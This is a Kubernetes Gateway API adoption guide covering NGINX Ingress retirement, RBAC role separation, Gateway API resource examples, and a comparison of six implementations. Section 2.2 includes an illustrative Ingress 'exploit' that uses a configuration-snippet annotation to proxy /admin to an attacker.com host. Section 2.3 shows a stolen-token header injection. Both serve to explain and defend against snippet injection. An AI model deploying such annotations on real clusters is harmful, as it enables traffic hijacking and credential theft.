Gateway API Adoption Guide
📌 Reference Versions: Gateway API v1.5.1, Cilium v1.19.0, EKS 1.33+, AWS LBC v3.0.0, Envoy Gateway v1.7.0
1. Overview
Kubernetes traffic management is converging on the Gateway API, driven by two forces.
First, the retirement of the NGINX Ingress Controller. Its official EOL (End-of-Life) in March 2026 ends security patching, and the structural limits of the Ingress API itself (annotation-based extension, no role separation) have become clear. Migrating to the Gateway API is now mandatory rather than optional.
Second, the rise of tiered gateways for agentic workloads. LLM inference and agent traffic have different requirements than general web/API traffic: token-based metering and rate limiting, model/provider routing, KV-cache-aware routing, prompt/response guardrails, and load balancing across inference pods. Rather than handling all of this in a single gateway, a 2-tier structure is becoming the standard — a general Gateway API layer that receives North-South traffic plus a dedicated Inference Gateway layer for inference traffic. The Gateway API and the Gateway API Inference Extension on top of it form the common foundation of this tiered model.
This guide covers Gateway API architecture, comparison of 6 major implementations (AWS LBC v3, Cilium, NGINX Gateway Fabric, Envoy Gateway, kGateway, Kong), Cilium ENI mode deep-dive configuration, step-by-step migration execution strategy, and performance benchmark plans. The detailed design of the inference gateway layer for agentic workloads is covered in the Agentic AI Platform — Inference Gateway reference.
- Designing North-South traffic, NGINX Ingress replacement, general API routing → this document (general Gateway API layer)
- Designing LLM inference pod routing, KV-cache-aware distribution, model endpoint management → Inference Gateway reference
- Most agentic platforms use both layers. The Section 4 comparison here is the starting point for deciding which combination of solutions fills each layer.
1.1 Target Audience
- EKS cluster administrators running NGINX Ingress Controller: EOL response strategy
- Platform engineers building agentic AI platforms: general gateway + inference gateway 2-tier design
- Platform engineers planning Gateway API migration: technology selection and PoC
- Architects reviewing traffic management modernization: long-term roadmap design
- Network engineers considering Cilium ENI mode + Gateway API integration: eBPF-based high-performance networking
1.2 Tiered Gateway at a Glance
1.3 Document Structure
- Quick understanding: Sections 1-3, 6 (~10 min)
- Technology selection: Sections 1-4, 6 (~20 min)
- Full migration: Entire document + sub-documents (~25 min)
2. NGINX Ingress Controller Retirement — Why Migration Is Mandatory
2.1 EOL Timeline
Key events in detail:
- March 2025: IngressNightmare (CVE-2025-1974) discovered — an arbitrary NGINX config injection vulnerability via Snippets annotations that accelerated retirement discussions in the Kubernetes SIG Network
- November 2025: Kubernetes SIG Network officially announced the retirement of the NGINX Ingress Controller, citing insufficient maintainers (1-2) and Gateway API maturity as the main reasons
- March 2026: Official EOL — security patches and bug fixes cease completely. Continued production use after this date risks compliance violations
After March 2026, the NGINX Ingress Controller receives no security vulnerability patches. To maintain PCI-DSS, SOC 2, and ISO 27001 compliance, migration to a Gateway API-based solution is required.
2.2 Security Vulnerability Analysis
IngressNightmare (CVE-2025-1974) attack scenario:
- Attack Overview
- Controller Architecture
- Exploit Code Example
An unauthenticated remote code execution (RCE) attack vector targeting the Ingress NGINX Controller inside a Kubernetes cluster. External and internal attackers take over the controller pod via a Malicious Admission Review, gaining access to all pods in the cluster. (Source: Wiz Research)
Internal architecture of the Ingress NGINX Controller pod. The path where the Admission Webhook injects an attacker's malicious config into NGINX during config validation is the core attack surface of CVE-2025-1974. (Source: Wiz Research)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
# Attacker injects arbitrary NGINX config
nginx.ingress.kubernetes.io/configuration-snippet: |
location /admin {
proxy_pass http://malicious-backend.attacker.com;
# Enables auth bypass, data theft, backdoor installation
}
spec:
ingressClassName: nginx
rules:
- host: production-api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: production-service
port:
number: 80
Risk assessment:
For existing NGINX Ingress environments, applying an admission controller policy that immediately prohibits the use of the nginx.ingress.kubernetes.io/configuration-snippet and nginx.ingress.kubernetes.io/server-snippet annotations is recommended.
2.3 Structural Resolution Through Gateway API
The Gateway API fundamentally resolves the structural vulnerabilities of NGINX Ingress.
- ❌ NGINX Ingress Vulnerability
- ✅ Gateway API Structural Resolution
1. Configuration Snippet Injection Attack
NGINX Ingress allows arbitrary strings to be injected into annotations, creating serious security risks:
# ❌ NGINX Ingress — arbitrary string injection possible
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# Can steal credentials of adjacent services (CVE-2021-25742)
proxy_set_header Authorization "stolen-token";
2. All Permissions Concentrated in a Single Resource
- A single Ingress resource mixes routing, TLS, security, and extension settings
- RBAC separation at the annotation level is impossible — it is all-or-nothing Ingress permission
- A developer who only wants to modify routing also holds the permission to change TLS/security settings
3. Vendor Annotation Dependency
- Features not in the standard are added via vendor-specific annotations → loss of portability
- Difficult to debug when annotations conflict
- Increasing complexity of managing 100+ vendor annotations
These structural problems make it hard for NGINX Ingress to meet production security requirements.
1. 3-Tier Role Separation Eliminates Snippets at the Source
Each team manages resources only within its own permission scope — arbitrary config injection paths are eliminated at the source.
# Infrastructure team: manages GatewayClass (cluster-level permission)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-team
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["create", "update", "delete"]
---
# Platform team: manages Gateway (namespace-level permission)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-team
namespace: platform-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create", "update", "delete"]
---
# Application team: manages HTTPRoute only (controls routing rules only)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-team
namespace: app-namespace
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes"]
verbs: ["create", "update", "delete"]
2. Structural Validation Based on CRD Schema
Predefining all fields with an OpenAPI schema makes arbitrary config injection fundamentally impossible:
# ✅ Gateway API — only schema-validated fields used
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
spec:
rules:
- matches:
- path:
type: PathPrefix
value: /api
filters:
- type: RequestHeaderModifier # only predefined filters can be used
requestHeaderModifier:
add:
- name: X-Custom-Header
value: production
3. Safe Extension via the Policy Attachment Pattern
Extension features are separated into dedicated Policy resources, with access controlled by RBAC:
# Apply L7 security policy with Cilium's CiliumNetworkPolicy
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-rate-limiting
spec:
endpointSelector:
matchLabels:
app: api-gateway
ingress:
- fromEndpoints:
- matchLabels:
role: frontend
toPorts:
- ports:
- port: "80"
protocol: TCP
rules:
http:
- method: "GET"
path: "/api/.*"
rateLimit:
requestsPerSecond: 100
- 15+ production implementations: AWS, Google Cloud, Cilium, Envoy, NGINX, Istio, and more
- Regular quarterly releases: GA resources included as of v1.4.0
- Official CNCF project: development led by the Kubernetes SIG Network
3. Gateway API — The Next-Generation Traffic Management Standard
3.1 Gateway API Architecture
Source: Kubernetes Gateway API official documentation — three roles (Infrastructure Provider, Cluster Operator, Application Developer) manage GatewayClass, Gateway, and HTTPRoute respectively
The architecture comparison between NGINX Ingress and the Gateway API is available tab-by-tab in 2.3 Structural Resolution Through Gateway API.
3.2 3-Tier Resource Model
The Gateway API separates responsibilities across the following layered structure:
- Role Overview
- Infrastructure Team (GatewayClass)
- Platform Team (Gateway)
- App Team (HTTPRoute)
Source: Kubernetes Gateway API official documentation — GatewayClass → Gateway → xRoute → Service layered structure
Infrastructure team: GatewayClass-only permission (ClusterRole)
GatewayClass is a cluster-scoped resource that only the infrastructure team can create/modify. It handles controller selection and global policies.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-gateway-manager
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
Platform team: Gateway management permission (Role — namespace scope)
Gateway is a namespace-scoped resource where the platform team manages listener configuration, TLS certificates, and load balancer settings.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-gateway-manager
namespace: gateway-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["secrets"] # TLS certificate management
verbs: ["get", "list"]
Application team: manages HTTPRoute only (Role — namespace scope)
The application team manages only HTTPRoute and ReferenceGrant within its own namespace. It cannot access GatewayClass or Gateway.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-route-manager
namespace: production-app
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes", "referencegrants"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["services"]
verbs: ["get", "list"]
3.3 GA Status (v1.4.0)
The Gateway API is divided into a Standard Channel and an Experimental Channel, with maturity differing per resource:
Alpha-status resources have no API compatibility guarantee and may have fields changed or removed on minor version upgrades. In production environments, using only GA/Beta resources from the Standard channel is recommended.
3.4 Key Benefits
The 6 key benefits of the Gateway API are presented with visual diagrams and YAML examples.
3.5 Basic Resource Examples
The deployment order of Gateway API resources used in real production environments:
- Deployment Flow
- Step 1: GatewayClass
- Step 2: Gateway
- Step 3: HTTPRoute
- Step 4: ReferenceGrant
- Step 5: Verification
Gateway API resources are deployed separately by role. The infrastructure team manages the GatewayClass, the platform team the Gateway, and the app team the HTTPRoute.
GatewayClass definition (infrastructure team)
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: aws-network-load-balancer
spec:
controllerName: aws.gateway.networking.k8s.io
description: "AWS Network Load Balancer with PrivateLink support"
parametersRef:
group: elbv2.k8s.aws
kind: TargetGroupPolicy
name: nlb-performance-profile
Gateway creation (platform team)
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
namespace: gateway-system
annotations:
# AWS NLB-specific annotations
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
service.beta.kubernetes.io/aws-load-balancer-scheme: "internet-facing"
service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: "true"
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip"
spec:
gatewayClassName: aws-network-load-balancer
listeners:
# HTTP Listener (automatic HTTPS redirect)
- name: http
protocol: HTTP
port: 80
# HTTPS Listener (ACM certificate)
- name: https
protocol: HTTPS
port: 443
tls:
mode: Terminate
certificateRefs:
- kind: Secret
name: acm-certificate
namespace: gateway-system
allowedRoutes:
namespaces:
from: All # allow HTTPRoutes from all namespaces
HTTPRoute configuration (application team)
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: backend-api
namespace: production-app
spec:
parentRefs:
- name: production-gateway
namespace: gateway-system
sectionName: https
hostnames:
- "api.example.com"
rules:
# Canary deployment (90% v1, 10% v2)
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- name: backend-v1
port: 8080
weight: 90
- name: backend-v2
port: 8080
weight: 10
filters:
# Add header
- type: RequestHeaderModifier
requestHeaderModifier:
add:
- name: X-Backend-Version
value: canary
# URL Rewrite
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /v1/api
ReferenceGrant (cross-namespace reference)
# Allow the Gateway in the gateway-system namespace to be referenced from other namespaces
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-httproutes-from-all
namespace: gateway-system
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: production-app
to:
- group: gateway.networking.k8s.io
kind: Gateway
name: production-gateway
Deployment and verification
# Deploy resources
kubectl apply -f gatewayclass.yaml
kubectl apply -f gateway.yaml
kubectl apply -f referencegrant.yaml
kubectl apply -f httproute.yaml
# Check Gateway status
kubectl get gateway production-gateway -n gateway-system
# NAME CLASS ADDRESS PROGRAMMED AGE
# production-gateway aws-network-load-balancer a1b2c3.elb.aws True 5m
# Check HTTPRoute status
kubectl get httproute backend-api -n production-app
# NAME HOSTNAMES AGE
# backend-api ["api.example.com"] 2m
# Check Gateway address
kubectl get gateway production-gateway -n gateway-system \
-o jsonpath='{.status.addresses[0].value}'
# Traffic test (verify canary ratio)
for i in {1..100}; do
curl -s https://api.example.com/api/health | jq -r '.version'
done | sort | uniq -c
# Example output:
# 90 v1
# 10 v2
The Gateway API supports canary deployment without annotations via the weight field. It is more concise and more portable than NGINX Ingress's nginx.ingress.kubernetes.io/canary annotation combination.
4. Gateway API Implementation Comparison — AWS Native vs Open Source
This section compares 6 major Gateway API implementations in detail. It helps make the optimal choice for an organization by clarifying each solution's characteristics, strengths, and weaknesses.
Kong is a mature OpenResty (NGINX + Lua) based API gateway whose KIC (Kong Ingress Controller) is conformant to the Gateway API Standard channel at the Core level. However, most L7 policies (auth, rate limiting, IP control) are implemented via KongPlugin CRDs rather than native Gateway API resources (a 100+ plugin ecosystem). Also, Kong's AI Gateway is an LLM API gateway that proxies external LLM providers — a different layer from the in-cluster inference pod routing (Gateway API Inference Extension, kgateway family) covered by this guide. The tables reflect this distinction explicitly.
4.1 Solutions at a Glance
Before the detailed comparison, the cards below summarize each of the 6 solutions' data plane, best-fit scenario, strength, and watch-outs. Grasping the big picture first, then drilling into the matrices below, is the recommended order.
4.2 Solution Overview
The following matrix compares the key features, limitations, and best use cases of the 6 Gateway API implementations.
4.3 Feature Comparison Matrix
The following is a comprehensive comparison of the 6 solutions. This table makes each solution's strengths and weaknesses clear at a glance.
4.4 NGINX Feature Mapping
This compares how the 8 major features used in the NGINX Ingress Controller are implemented in each Gateway API implementation.
| # | NGINX Feature | AWS Native | Cilium | NGINX Fabric | Envoy GW | kGateway | Kong |
|---|---|---|---|---|---|---|---|
1 | Basic Auth | Lambda/JWT | L7 Policy | OIDC Policy | ExtAuth | JWT/OIDC | KongPlugin (jwt) |
2 | IP Allowlist | WAF IP Sets + SG | CiliumNetworkPolicy | NginxProxy | SecurityPolicy | RouteOption | KongPlugin (ip-restriction) |
3 | Rate Limiting | WAF Rate Rule | L7 Rate Limit | NginxProxy | BackendTrafficPolicy | RouteOption | KongPlugin (rate-limiting) |
4 | URL Rewrite | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter |
5 | Body Size | WAF Size Rule | - | NginxProxy | ClientTrafficPolicy | RouteOption | KongPlugin (request-size-limiting) |
6 | Custom Error | ALB Fixed Response | - | Custom Backend | Direct Response | DirectResponse | KongPlugin / template |
7 | Header Routing | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches |
8 | Cookie Affinity | TG Stickiness | - | Upstream Config | Session Persistence | RouteOption | KongPlugin (session) |
Legend:
- ✅ Native support (no separate tooling needed)
- ⚠️ Partial support or additional configuration required
- ❌ Not supported (separate solution required)
4.5 Implementation Difficulty
| Feature | AWS Native | Cilium | NGINX Fabric | Envoy GW | kGateway | Kong |
|---|---|---|---|---|---|---|
| Basic Auth | Medium | Medium | Easy | Medium | Easy | Easy |
| IP Allowlist | Easy | Easy | Easy | Easy | Easy | Easy |
| Rate Limiting | Medium | Medium | Easy | Easy | Easy | Easy |
| URL Rewrite | Easy | Easy | Easy | Easy | Easy | Easy |
| Body Size | Medium | Hard | Easy | Easy | Easy | Easy |
| Custom Error | Easy | Hard | Medium | Easy | Easy | Medium |
| Header Routing | Easy | Easy | Easy | Easy | Easy | Easy |
| Cookie Affinity | Easy | Hard | Easy | Medium | Easy | Easy |
4.6 Cost Impact Analysis
- If 3+ WAF features are needed, AWS Native is cost-effective. Multiple rules can be bundled and managed in a single WebACL
- If only 1-2 are needed, they can be implemented at no additional cost in open source solutions (Cilium, Envoy Gateway)
- For performance-sensitive workloads, open source is advantageous. There is no WAF rule evaluation latency, as processing happens at the kernel/eBPF level
- When using a Lambda Authorizer, watch for p99 latency spikes due to cold starts. Review Provisioned Concurrency settings
4.7 Per-Feature Implementation Code Examples
The implementation of the following 8 features as YAML examples per implementation is provided in a separate cookbook document. This guide focuses on comparison and selection; refer to the cookbook for actual manifests.
| # | Feature | Standard? |
|---|---|---|
| 1 | Authentication (Basic Auth replacement) | Per-implementation |
| 2 | Rate Limiting | Per-implementation |
| 3 | IP Control (IP Allowlist) | Per-implementation |
| 4 | URL Rewrite | Gateway API v1 standard |
| 5 | Header Manipulation | Gateway API v1 standard |
| 6 | Session Affinity (cookie-based) | Per-implementation |
| 7 | Request Body Size Limit | Per-implementation |
| 8 | Custom Error Pages | Per-implementation |
The YAML manifests for each feature across AWS LBC, Cilium, NGINX GF, Envoy Gateway, and kGateway are available in the Feature Implementation Cookbook.
4.8 Solution Selection Decision Tree
The following decision tree helps select the optimal solution for an organization.
4.9 Scenario-Based Recommendations
The following are recommended solutions for common organizational scenarios.
5. Benchmark Comparison Plan
A systematic benchmark for objective performance comparison of the 6 Gateway API implementations is planned. Eight scenarios — throughput, latency, TLS performance, L7 routing, scaling, resource efficiency, failure recovery, and gRPC — are measured in the same EKS environment.
The test environment design, detailed scenarios, metrics, and execution plan are available at Gateway API Implementation Performance Benchmark Plan.
6. Conclusion and Roadmap
6.1 Conclusion
Select the solution that fits your organizational environment based on the table above.
- AWS-only Environment
- High Performance + Observability
- Leverage NGINX Experience
- CNCF Standard
- AI/ML Integration
- Enterprise API Management
- Hybrid Nodes
AWS Native (LBC v3) — minimal operational burden, leverages the managed nature of ALB/NLB, SLA guarantee, AWS WAF/Shield/ACM integration. Optimal for environments where stability and automatic scaling matter more than raw performance.
Cilium Gateway API — ultra-low latency (P99 under 10ms), eBPF-based networking, Hubble L7 visibility, ENI mode VPC-native integration. Optimal for environments that need high performance and service mesh integration.
NGINX Gateway Fabric — leverages existing NGINX knowledge, proven stability, F5 enterprise support, multi-cloud. Optimal for NGINX-experienced teams that need a fast transition.
Envoy Gateway — CNCF standard, Istio compatible, rich L7 features (mTLS, ExtAuth, Rate Limiting, Circuit Breaking). Optimal for environments planning service mesh expansion.
kGateway — unified gateway (API+mesh+AI+MCP), AI/ML workload routing, Solo.io enterprise support. Optimal for environments that need AI/ML-specialized routing.
Kong — OpenResty (NGINX + Lua) based, 100+ KongPlugin ecosystem, enterprise 24x7 support (Enterprise/Konnect). Optimal for environments that leverage plugin-rich API management and existing Kong investments. Kong AI Gateway is an LLM API gateway that proxies external LLM providers, distinct in purpose from in-cluster inference pod routing (kgateway family). Consider that most L7 policies are configured via KongPlugin rather than native Gateway API resources.
Cilium Gateway API + llm-d — when operating cloud and on-premises GPU nodes together via EKS Hybrid Nodes, using Cilium as a single CNI provides the benefits of CNI unification + Hubble unified observability + built-in Gateway API. AI inference traffic is optimized by llm-d with KV-cache-aware routing. For details, see the Cilium ENI + Gateway API Deep-Dive Guide — Section 9.
6.2 Future Expansion Roadmap
6.3 Key Message
Complete migration before the March 2026 NGINX Ingress EOL to eliminate security threats at the source.
The Gateway API is not just an Ingress replacement — it is the future of cloud-native traffic management.
- Role separation: clear separation of responsibility between platform and development teams
- Standardization: portable configuration without vendor lock-in
- Extensibility: scales to East-West, service mesh, and AI integration
Start now:
- Collect the current Ingress inventory — see Migration Execution Strategy
- Select a solution that fits the workload (Section 4)
- Build a PoC environment — see Migration Execution Strategy
- Execute a gradual migration — see Migration Execution Strategy
Additional resources:
- Gateway API official documentation
- Cilium official documentation
- NGINX Gateway Fabric
- Envoy Gateway
- Kong Ingress Controller
- AWS Load Balancer Controller
Related Documents
Sub-documents (Deep-dive Guides)
The topic-specific deep-dive content of this guide is provided in separate sub-documents.
- 1. Cilium ENI Mode + Gateway API Deep-Dive Configuration — ENI mode architecture, installation/configuration, performance optimization (eBPF, XDP), Hubble observability, BGP Control Plane v2, hybrid node architecture
- 2. Migration Execution Strategy — 5-phase migration process, CRD installation, verification scripts, troubleshooting guide
- 3. Feature Implementation Cookbook — reference for implementing authentication, rate limiting, IP control, URL rewrite, headers, session affinity, body size, and error pages as YAML across the 6 implementations
Related Documents (Service Mesh)
East-West (service mesh) topics, which extend the Gateway API into mesh traffic, are covered in a separate category.
- Service Mesh Comparison Guide — Data plane architecture, feature matrix, performance overhead, and selection guide for Istio, Cilium, Linkerd, and VPC Lattice
- GAMMA Initiative — GAMMA overview, East-West traffic management, per-implementation support status
Related Documents (Agentic AI Platform)
- Tiered Gateway Architecture — the full map and terminology of Tier 1 (this document), Tier 2 ① inference routing, ② LLM API gateway, and the Agent Data Plane (single source of definitions)
- Inference Gateway Reference — the Tier 2 inference gateway layer for agentic workloads (KV-cache-aware routing, model endpoint management). Configured as a 2-tier setup together with this document (Tier 1 general gateway)
- Inference Gateway Setup Guide — inference gateway Helm deployment, HTTPRoute, and OTel configuration
Related Categories
- 2. CoreDNS Monitoring & Optimization
- 3. East-West Traffic Optimization
- 4. Karpenter Ultra-fast Autoscaling